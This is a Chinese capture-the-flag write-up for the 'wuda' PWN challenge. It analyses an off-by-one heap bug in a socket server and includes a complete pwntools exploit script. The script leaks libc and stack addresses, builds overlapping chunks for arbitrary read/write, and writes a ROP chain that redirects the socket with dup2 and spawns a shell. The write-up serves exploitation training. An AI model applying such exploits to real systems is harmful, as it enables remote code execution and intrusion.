攻防世界PWN之wuda題解

Wuda

首先,我們檢查一下程序的保護機制

然後,我們用IDA分析一下

是一個類似於服務器的程序,監聽了本地端口1337

看起來很複雜,當我們的關注點不在這

我們的關注點在這,當數據包滿足一定的條件後,就能調出菜單。

菜單裏是經典的增刪改查操作

堆的大小沒有限制,最多可以保存10個堆指針。

經過分析,我們發現節點的結構體是這樣的

  1. typedef struct Node {    
  2.     int64_t size;    
  3.     char *content;    
  4. };    

malloc的順序是這樣的

  1. Node *node = (Node *)malloc(sizeof(Node))  
  2. node->size = size;  
  3. node->content = (char *)malloc(sizeof(char)*size)  

edit功能存在一個off by one漏洞,能夠溢出一個字節數據

show功能不存在漏洞

delete功能不存在UAF漏洞

解題思路

構造這樣的堆佈局

chunk3需要借位到chunk4通過chunk3的off by one,控制chunk4堆塊的size的prev_inuse位爲0,代表前一個相鄰塊爲free的狀態,在content2的末尾8字節,僞造prev_size爲0、1、2、3的總大小

我們知道node結構體裏有一個content指針,我們能夠控制這個指針,就能實現任意地址讀寫,我們只需malloc一個大於等於0xA0的堆,就能夠控制整個node1了,就能輕而易舉的修改node1的content指針

實現了任意地址的讀寫,本題我們寫了free_hook或者malloc_hook以後還沒有完事,本題是一個服務器端程序,我們簡單的getshell,只會在服務器上彈出shell並且socat只對端口做了轉發,不像其他類型的pwn是由socat重定向0和1。因此,我們還需要手動把01重定向到socketfd中去,這樣,我們才能在我們這邊得到shell

我們既然已經實現了任意地址讀寫,那麼我們不如寫ROP到某函數的返回處的棧地址處。利用ROP,我們可以調用dup2函數來重定向0和1文件描述符到socket的文件描述符,也可以mprotect一塊RWX的內存,跳過去執行,這裏我選擇的是直接ROP執行dup2函數。

綜上,我們的exp腳本

#coding:utf8
from pwn import *

sh = remote('127.0.0.1',1337)
#sh = remote('127.0.0.1',2333)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
pop_rdi = 0x4092c3
#pop rsi ; pop r15 ; ret
pop_rsi = 0x4092c1
malloc_hook_s = libc.symbols['__malloc_hook']
system_s = libc.sym['system']
dup2_s = libc.sym['dup2']
binsh_s = libc.search('/bin/sh').next()
#藉助environ,我們可以得到棧地址
environ = libc.symbols['environ']

def init_connect():
   #magic
   sh.send('RPCM')
   sh.send(p32(0x10))
   sh.send(p32(0))
   #發送-1,網絡序是大端,因此我們逆序
   sh.send(p32(0x100000000-1)[::-1])

def create(size,content):
   sh.sendlineafter('Your choice :','1')
   sh.sendlineafter('Size:',str(size))
   sh.sendafter('Content:',content)

def edit(index,content):
   sh.sendlineafter('Your choice :','2')
   sh.sendlineafter('Index:',str(index))
   sh.sendafter('Content: ',content)

def show(index):
   sh.sendlineafter('Your choice :','3')
   sh.sendlineafter('Index :',str(index))


def delete(index):
   sh.sendlineafter('Your choice :','4')
   sh.sendlineafter('Index :',str(index))

init_connect()
#=====這個騷操作,是爲了讓以後申請的塊能夠連續===
create(0x1000,'\x00'*0x1000)
create(0x1000,'\x00'*0x1000)
delete(0)
delete(1)
#===============================================

#unsorted bin範圍的chunk,用於泄露libc指針
create(0x80,'a'*0x80) #0
create(0x10,'b'*0x10) #1
create(0x80,'c'*0x80) #2
create(0x20,'d'*0x20) #3
create(0x20,'e'*0x20) #4

delete(0)
create(0x80,'\n')
#泄露libc指針
show(0)
sh.recvuntil('Content : ')
main_arena_xx = u64(sh.recv(6).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
system_addr = libc_base + system_s
binsh_addr = libc_base + binsh_s
environ_addr = libc_base + environ
dup2_addr = libc_base + dup2_s
print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system_addr)
print 'binsh_addr=',hex(binsh_addr)
print 'dup2_addr=',hex(dup2_addr)
#=============這裏的操作,是爲了讓chunk0、2、3的數據域相鄰,而chunk1結構體和數據則處於0和2之間,這樣,我們利用off by one,控制chunk3的size=====
delete(2)
delete(3)
create(0x18,'c'*0x18) #2
delete(4)
create(0x80,'d'*0x80) #3
#============================
#現在chunk2 off by one,覆蓋chunk1的size的低一字節
#使得prev_size = 0xE0,prev_inuse位爲0,這樣我們就可以向前合併
edit(2,'c'*0x10 + p64(0xF0) + p8(0x90))
delete(0)
#向前合併
delete(3)

create(0xA0,'a'*0x80) #0
#現在節點1的結構體重合到了節點0的數據域末尾,我們可以修改了,我們將節點1的結構體內的數據域指針指向我們需要的地址,實現任意地址讀寫
#現在,我們要泄露棧地址,我們就把指針指向environ
payload = 'a'*0x80 + p64(0x90) + p64(0x21) + p64(0x10) + p64(environ_addr)
edit(0,payload)
#泄露棧地址
show(1)
sh.recvuntil('Content : ')
stack_addr = u64(sh.recv(6).ljust(8,'\x00'))
#計算出fd存放的位置
fd_addr = stack_addr - 0x77C
print 'fd_addr=',hex(fd_addr)
#泄露fd
payload = 'a'*0x80 + p64(0x90) + p64(0x21) + p64(0x4) + p64(fd_addr)
edit(0,payload)
show(1)
sh.recvuntil('Content : ')
fd = u32(sh.recvuntil('\n',drop = True).ljust(4,'\x00'))
print 'fd=',hex(fd)
#計算ROP寫入的位置,即寫到edit函數的返回地址存放處即可
rop_addr = stack_addr - 0x740
#dup(fd,0)
rop = p64(pop_rdi) + p64(fd) + p64(pop_rsi) + p64(0) * 2 + p64(dup2_addr)
#dup(fd,1)
rop += p64(pop_rdi) + p64(fd) + p64(pop_rsi) + p64(1) * 2 + p64(dup2_addr)
#system('/bin/sh')
rop += p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)

#指向rop_addr,然後寫ROP
payload = 'a'*0x80 + p64(0x90) + p64(0x21) + p64(len(rop)) + p64(rop_addr)
edit(0,payload)
edit(1,rop)

sh.interactive()

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章